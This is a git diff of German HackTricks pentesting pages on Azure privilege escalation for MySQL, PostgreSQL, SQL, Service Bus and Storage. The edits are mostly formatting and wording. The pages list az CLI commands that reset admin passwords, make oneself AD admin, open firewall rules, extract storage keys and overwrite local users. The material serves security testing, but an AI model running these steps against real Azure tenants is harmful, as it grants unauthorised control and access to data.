diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
index 2d5139fab..3d4c0d412 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
@@ -2,19 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
-
## MySQL-Datenbank-Privesc
Für weitere Informationen zur SQL-Datenbank siehe:
-{% content-ref url="../az-services/az-mysql.md" %}
-[az-mysql.md](../az-services/az-mysql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-mysql.md
+{{#endref}}
-### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
+### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
Mit dieser Berechtigung können Sie MySQL Flexible Server-Instanzen auf Azure erstellen, aktualisieren oder löschen. Dies umfasst die Bereitstellung neuer Server, die Modifizierung bestehender Serverkonfigurationen oder die Stilllegung von Servern.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server create \
--name \
@@ -27,32 +24,20 @@ az mysql flexible-server create \
--tier \
--version
```
-{% endcode %}
-
Zum Beispiel erlauben diese Berechtigungen das Ändern des MySQL-Passworts, was natürlich nützlich ist, falls die MySQL-Authentifizierung aktiviert ist.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server update \
--resource-group \
--name \
--admin-password
```
-{% endcode %}
-
Zusätzlich ist es notwendig, den öffentlichen Zugriff zu aktivieren, wenn Sie von einem nicht privaten Endpunkt aus zugreifen möchten. Um dies zu aktivieren:
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server update --resource-group --server-name --public-access Enabled
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
-### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
-
-Mit dieser Berechtigung können Sie Azure Active Directory (AD) Administratoren für einen MySQL Flexible Server konfigurieren. Dies kann ausgenutzt werden, indem man sich selbst oder ein anderes Konto als AD-Administrator festlegt, was vollständige administrative Kontrolle über den MySQL-Server gewährt. Es ist wichtig, dass der flexible Server über zugewiesene verwaltete Identitäten verfügt, um dies zu nutzen.
-
-{% code overflow="wrap" %}
+Mit dieser Berechtigung können Sie Azure Active Directory (AD) Administratoren für einen MySQL Flexible Server konfigurieren. Dies kann ausgenutzt werden, indem man sich selbst oder ein anderes Konto als AD-Administrator festlegt, was vollständige administrative Kontrolle über den MySQL-Server gewährt. Es ist wichtig, dass der flexible Server über zugewiesene verwaltete Identitäten verfügt, die verwendet werden können.
```bash
az mysql flexible-server ad-admin create \
--resource-group \
@@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \
--identity \
--object-id
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
index a72662bc9..4043bfcf2 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
@@ -5,15 +5,13 @@
## PostgreSQL Privesc
Für weitere Informationen zur SQL-Datenbank siehe:
-{% content-ref url="../az-services/az-postgresql.md" %}
+{{#ref}}
[az-postgresql.md](../az-services/az-postgresql.md)
-{% endcontent-ref %}
+{{#endref}}
-### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
+### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
Mit dieser Berechtigung können Sie PostgreSQL Flexible Server-Instanzen auf Azure erstellen, aktualisieren oder löschen. Dies umfasst die Bereitstellung neuer Server, die Modifizierung bestehender Serverkonfigurationen oder die Stilllegung von Servern.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server create \
--name \
@@ -26,34 +24,22 @@ az postgres flexible-server create \
--tier \
--version
```
-{% endcode %}
-
Zum Beispiel erlauben diese Berechtigungen das Ändern des PostgreSQL-Passworts, was natürlich nützlich ist, falls die PostgreSQL-Authentifizierung aktiviert ist.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server update \
--resource-group \
--name \
--admin-password
```
-{% endcode %}
-
-Zusätzlich ist es notwendig, den öffentlichen Zugriff zu aktivieren, wenn Sie von einem nicht privaten Endpunkt aus zugreifen möchten. Um dies zu aktivieren:
-
-{% code overflow="wrap" %}
+Zusätzlich ist es notwendig, den öffentlichen Zugriff zu aktivieren, wenn Sie von einem nicht privaten Endpunkt aus zugreifen möchten. Um ihn zu aktivieren:
```bash
az postgres flexible-server update --resource-group --server-name --public-access Enabled
```
-{% endcode %}
+### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
-### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
+Mit dieser Berechtigung können Sie Azure Active Directory (AD) Administratoren für einen PostgreSQL Flexible Server konfigurieren. Dies kann ausgenutzt werden, indem man sich selbst oder ein anderes Konto als AD-Administrator festlegt, was vollständige administrative Kontrolle über den PostgreSQL-Server gewährt. Das Aktualisieren bestehender Prinzipale wird derzeit noch nicht unterstützt, daher müssen Sie, wenn bereits einer erstellt wurde, diesen zuerst löschen.
-Mit dieser Berechtigung können Sie Azure Active Directory (AD) Administratoren für einen PostgreSQL Flexible Server konfigurieren. Dies kann ausgenutzt werden, indem man sich selbst oder ein anderes Konto als AD-Administrator festlegt, was vollständige administrative Kontrolle über den PostgreSQL-Server gewährt. Das Aktualisieren bestehender Principal wird derzeit noch nicht unterstützt, daher müssen Sie, wenn bereits einer erstellt wurde, diesen zuerst löschen.
-
-Es ist wichtig, dass der flexible Server eine benutzerzugewiesene verwaltete Identität hat, die verwendet werden kann.
-
-{% code overflow="wrap" %}
+Es ist wichtig, dass der flexible Server über zugewiesene verwaltete Identitäten verfügt, die verwendet werden können.
```bash
az postgres flexible-server ad-admin create \
--resource-group \
@@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \
--identity \
--object-id
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
index be6540f28..e24756e2b 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
@@ -12,7 +12,7 @@ Für weitere Informationen siehe:
### Nachrichten senden. Aktion: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` ODER `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
-Sie können die `PrimaryConnectionString` abrufen, die als Anmeldeinformation für den Service Bus-Namespace fungiert. Mit dieser Verbindungszeichenfolge können Sie sich vollständig als der Service Bus-Namespace authentifizieren, was es Ihnen ermöglicht, Nachrichten an jede Warteschlange oder jedes Thema zu senden und potenziell mit dem System auf eine Weise zu interagieren, die den Betrieb stören, gültige Benutzer impersonieren oder bösartige Daten in den Messaging-Workflow injizieren könnte.
+Sie können die `PrimaryConnectionString` abrufen, die als Anmeldeinformation für den Service Bus-Namespace fungiert. Mit dieser Verbindungszeichenfolge können Sie sich vollständig als der Service Bus-Namespace authentifizieren, was es Ihnen ermöglicht, Nachrichten an jede Warteschlange oder jedes Thema zu senden und potenziell mit dem System auf eine Weise zu interagieren, die den Betrieb stören, gültige Benutzer impersonieren oder bösartige Daten in den Nachrichtenworkflow injizieren könnte.
```python
#You need to install the following libraries
#pip install azure-servicebus
@@ -127,7 +127,7 @@ asyncio.run(receive_and_process_messages())
print("Message Receiving Completed")
print("----------------------------")
```
-### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
+### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
Wenn Sie über diese Berechtigungen verfügen, können Sie Privilegien erhöhen, indem Sie gemeinsame Zugriffsschlüssel lesen oder erstellen. Diese Schlüssel ermöglichen die vollständige Kontrolle über den Service Bus-Namespace, einschließlich der Verwaltung von Warteschlangen, Themen und dem Senden/Empfangen von Nachrichten, wodurch möglicherweise rollenbasierte Zugriffskontrollen (RBAC) umgangen werden.
```bash
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
index 7757ac8e6..565416012 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
@@ -10,7 +10,7 @@ Für weitere Informationen zur SQL-Datenbank siehe:
../az-services/az-sql.md
{{#endref}}
-### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
+### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
Mit diesen Berechtigungen kann ein Benutzer eine Privilegieneskalation durchführen, indem er Azure SQL-Server aktualisiert oder erstellt und kritische Konfigurationen, einschließlich administrativer Anmeldeinformationen, ändert. Diese Berechtigung ermöglicht es dem Benutzer, Servereigenschaften zu aktualisieren, einschließlich des SQL-Server-Admin-Passworts, was unbefugten Zugriff oder Kontrolle über den Server ermöglicht. Sie können auch neue Server erstellen, was potenziell Schatteninfrastruktur für böswillige Zwecke einführt. Dies wird besonders kritisch in Umgebungen, in denen "Microsoft Entra Authentication Only" deaktiviert ist, da sie SQL-basierte Authentifizierung ausnutzen können, um uneingeschränkten Zugriff zu erhalten.
```bash
@@ -35,9 +35,9 @@ az sql server update \
--resource-group \
--enable-public-network true
```
-### "Microsoft.Sql/servers/firewallRules/write"
+### `Microsoft.Sql/servers/firewallRules/write`
-Ein Angreifer kann Firewall-Regeln auf Azure SQL-Servern manipulieren, um unbefugten Zugriff zu ermöglichen. Dies kann ausgenutzt werden, um den Server für bestimmte IP-Adressen oder ganze IP-Bereiche, einschließlich öffentlicher IPs, zu öffnen, wodurch der Zugriff für böswillige Akteure ermöglicht wird. Diese Post-Exploitation-Aktivität kann verwendet werden, um bestehende Netzwerksicherheitskontrollen zu umgehen, Persistenz zu etablieren oder laterale Bewegungen innerhalb der Umgebung zu erleichtern, indem sensible Ressourcen exponiert werden.
+Ein Angreifer kann Firewall-Regeln auf Azure SQL-Servern manipulieren, um unbefugten Zugriff zu ermöglichen. Dies kann ausgenutzt werden, um den Server für bestimmte IP-Adressen oder gesamte IP-Bereiche, einschließlich öffentlicher IPs, zu öffnen, wodurch der Zugriff für böswillige Akteure ermöglicht wird. Diese Post-Exploitation-Aktivität kann verwendet werden, um bestehende Netzwerksicherheitskontrollen zu umgehen, Persistenz zu etablieren oder laterale Bewegungen innerhalb der Umgebung zu erleichtern, indem sensible Ressourcen exponiert werden.
```bash
# Create Firewall Rule
az sql server firewall-rule create \
@@ -58,9 +58,9 @@ az sql server firewall-rule update \
Zusätzlich ermöglicht die Berechtigung `Microsoft.Sql/servers/outboundFirewallRules/delete` das Löschen einer Firewallregel.
HINWEIS: Es ist erforderlich, den öffentlichen Zugriff zu aktivieren.
-### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
+### `Microsoft.Sql/servers/ipv6FirewallRules/write`
-Mit dieser Berechtigung können Sie IPv6-Firewallregeln auf einem Azure SQL-Server erstellen, ändern oder löschen. Dies könnte einem Angreifer oder autorisierten Benutzer ermöglichen, bestehende Netzwerksicherheitskonfigurationen zu umgehen und unbefugten Zugriff auf den Server zu erhalten. Durch das Hinzufügen einer Regel, die den Datenverkehr von jeder IPv6-Adresse erlaubt, könnte der Angreifer den Server für externen Zugriff öffnen.
+Mit dieser Berechtigung können Sie IPv6-Firewallregeln auf einem Azure SQL Server erstellen, ändern oder löschen. Dies könnte einem Angreifer oder autorisierten Benutzer ermöglichen, bestehende Netzwerksicherheitskonfigurationen zu umgehen und unbefugten Zugriff auf den Server zu erlangen. Durch das Hinzufügen einer Regel, die den Datenverkehr von jeder IPv6-Adresse erlaubt, könnte der Angreifer den Server für externen Zugriff öffnen.
```bash
az sql server firewall-rule create \
--server \
@@ -72,7 +72,7 @@ az sql server firewall-rule create \
Zusätzlich ermöglicht die Berechtigung `Microsoft.Sql/servers/ipv6FirewallRules/delete` das Löschen einer Firewall-Regel.
HINWEIS: Es ist erforderlich, den öffentlichen Zugriff zu aktivieren.
-### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
+### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
Mit diesen Berechtigungen können Sie in einer Azure SQL Server-Umgebung Privilegien erhöhen, indem Sie auf SQL-Datenbanken zugreifen und kritische Informationen abrufen. Mit dem folgenden Befehl kann ein Angreifer oder autorisierter Benutzer sich selbst oder ein anderes Konto als Azure AD-Administrator festlegen. Wenn "Microsoft Entra Authentication Only" aktiviert ist, können Sie auf den Server und seine Instanzen zugreifen. Hier ist der Befehl, um den Azure AD-Administrator für einen SQL-Server festzulegen:
```bash
@@ -82,9 +82,9 @@ az sql server ad-admin create \
--display-name \
--object-id
```
-### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
+### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`
-Mit diesen Berechtigungen können Sie "Microsoft Entra Authentication Only" auf einem Azure SQL Server konfigurieren und durchsetzen, was in bestimmten Szenarien die Privilegieneskalation erleichtern könnte. Ein Angreifer oder ein autorisierter Benutzer mit diesen Berechtigungen kann die Azure AD-Authentifizierung nur aktivieren oder deaktivieren.
+Mit diesen Berechtigungen können Sie "Microsoft Entra Authentication Only" auf einem Azure SQL Server konfigurieren und durchsetzen, was in bestimmten Szenarien eine Privilegieneskalation erleichtern könnte. Ein Angreifer oder ein autorisierter Benutzer mit diesen Berechtigungen kann die Azure AD-Only-Authentifizierung aktivieren oder deaktivieren.
```bash
#Enable
az sql server azure-ad-only-auth enable \
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
index 01b128841..e9861b460 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
@@ -10,21 +10,21 @@ Für weitere Informationen über Speicher siehe:
../az-services/az-storage.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/listkeys/action
+### `Microsoft.Storage/storageAccounts/listkeys/action`
Ein Principal mit dieser Berechtigung kann die **Zugriffsschlüssel** der Speicherkonten auflisten (und die geheimen Werte). Dies ermöglicht es dem Principal, seine Berechtigungen über die Speicherkonten zu eskalieren.
```bash
az storage account keys list --account-name
```
-### Microsoft.Storage/storageAccounts/regenerateKey/action
+### `Microsoft.Storage/storageAccounts/regenerateKey/action`
Ein Principal mit dieser Berechtigung kann die **Zugriffsschlüssel** der Speicherkonten erneuern und den neuen geheimen Wert abrufen. Dies ermöglicht es dem Principal, seine Berechtigungen über die Speicherkonten zu eskalieren.
-Darüber hinaus erhält der Benutzer in der Antwort den Wert des erneuerten Schlüssels sowie den des nicht erneuerten:
+Darüber hinaus erhält der Benutzer in der Antwort den Wert des erneuerten Schlüssels sowie den des nicht erneuerten Schlüssels:
```bash
az storage account keys renew --account-name --key key2
```
-### Microsoft.Storage/storageAccounts/write
+### `Microsoft.Storage/storageAccounts/write`
Ein Principal mit dieser Berechtigung kann ein bestehendes Speicherkonto erstellen oder aktualisieren und dabei Einstellungen wie Netzwerkregeln oder Richtlinien ändern.
```bash
@@ -36,12 +36,12 @@ az storage account update --name --add networkRuleSet.ipRules value=<
```
## Blobs spezifische Privilegieneskalation
-### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
+### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete`
-Die erste Berechtigung erlaubt es, **Unveränderlichkeitspolitiken** in Containern zu **ändern** und die zweite, sie zu **löschen**.
+Die erste Berechtigung erlaubt es, **Immutabilitätsrichtlinien** in Containern zu **ändern** und die zweite, sie zu **löschen**.
> [!NOTE]
-> Beachten Sie, dass Sie, wenn sich eine Unveränderlichkeitspolitik im Sperrstatus befindet, keines von beidem tun können.
+> Beachten Sie, dass Sie, wenn sich eine Immutabilitätsrichtlinie im Sperrstatus befindet, keine der beiden Aktionen durchführen können.
```bash
az storage container immutability-policy delete \
--account-name \
@@ -56,21 +56,21 @@ az storage container immutability-policy update \
```
## Dateifreigaben spezifische Privilegieneskalation
-### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
+### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`
Dies sollte es einem Benutzer mit dieser Berechtigung ermöglichen, das Eigentum an Dateien im gemeinsamen Dateisystem zu übernehmen.
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`
Dies sollte es einem Benutzer mit dieser Berechtigung ermöglichen, die Berechtigungen von Dateien im gemeinsamen Dateisystem zu ändern.
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`
Dies sollte es einem Benutzer mit dieser Berechtigung ermöglichen, Aktionen innerhalb eines Dateisystems als Superuser auszuführen.
-### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
+### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
-Mit dieser Berechtigung kann ein Angreifer einen neuen lokalen Benutzer für ein Azure Storage-Konto (konfiguriert mit hierarchischem Namensraum) erstellen und aktualisieren (wenn er die Berechtigung `Microsoft.Storage/storageAccounts/localusers/read` hat), einschließlich der Angabe der Berechtigungen und des Heimatverzeichnisses des Benutzers. Diese Berechtigung ist bedeutend, da sie dem Angreifer ermöglicht, sich selbst ein Speicher-Konto mit spezifischen Berechtigungen wie Lesen (r), Schreiben (w), Löschen (d) und Auflisten (l) und mehr zu gewähren. Zusätzlich können die Authentifizierungsmethoden, die hierfür verwendet werden, Azure-generierte Passwörter und SSH-Schlüsselpaare sein. Es gibt keine Überprüfung, ob ein Benutzer bereits existiert, sodass Sie andere Benutzer, die bereits vorhanden sind, überschreiben können. Der Angreifer könnte seine Privilegien eskalieren und SSH-Zugriff auf das Speicher-Konto erhalten, was potenziell sensible Daten offenlegen oder gefährden könnte.
+Mit dieser Berechtigung kann ein Angreifer einen neuen lokalen Benutzer für ein Azure Storage-Konto (konfiguriert mit hierarchischem Namensraum) erstellen und aktualisieren (wenn er die Berechtigung `Microsoft.Storage/storageAccounts/localusers/read` hat), einschließlich der Angabe der Berechtigungen und des Heimatverzeichnisses des Benutzers. Diese Berechtigung ist bedeutend, da sie dem Angreifer ermöglicht, sich selbst ein Speicher-Konto mit spezifischen Berechtigungen wie Lesen (r), Schreiben (w), Löschen (d) und Auflisten (l) und mehr zu gewähren. Zusätzlich können die Authentifizierungsmethoden, die hierfür verwendet werden, von Azure generierte Passwörter und SSH-Schlüsselpaare sein. Es gibt keine Überprüfung, ob ein Benutzer bereits existiert, sodass Sie andere Benutzer, die bereits vorhanden sind, überschreiben können. Der Angreifer könnte seine Privilegien eskalieren und SSH-Zugriff auf das Speicher-Konto erhalten, was potenziell sensible Daten offenlegen oder gefährden könnte.
```bash
az storage account local-user create \
--account-name \
@@ -80,7 +80,7 @@ az storage account local-user create \
--home-directory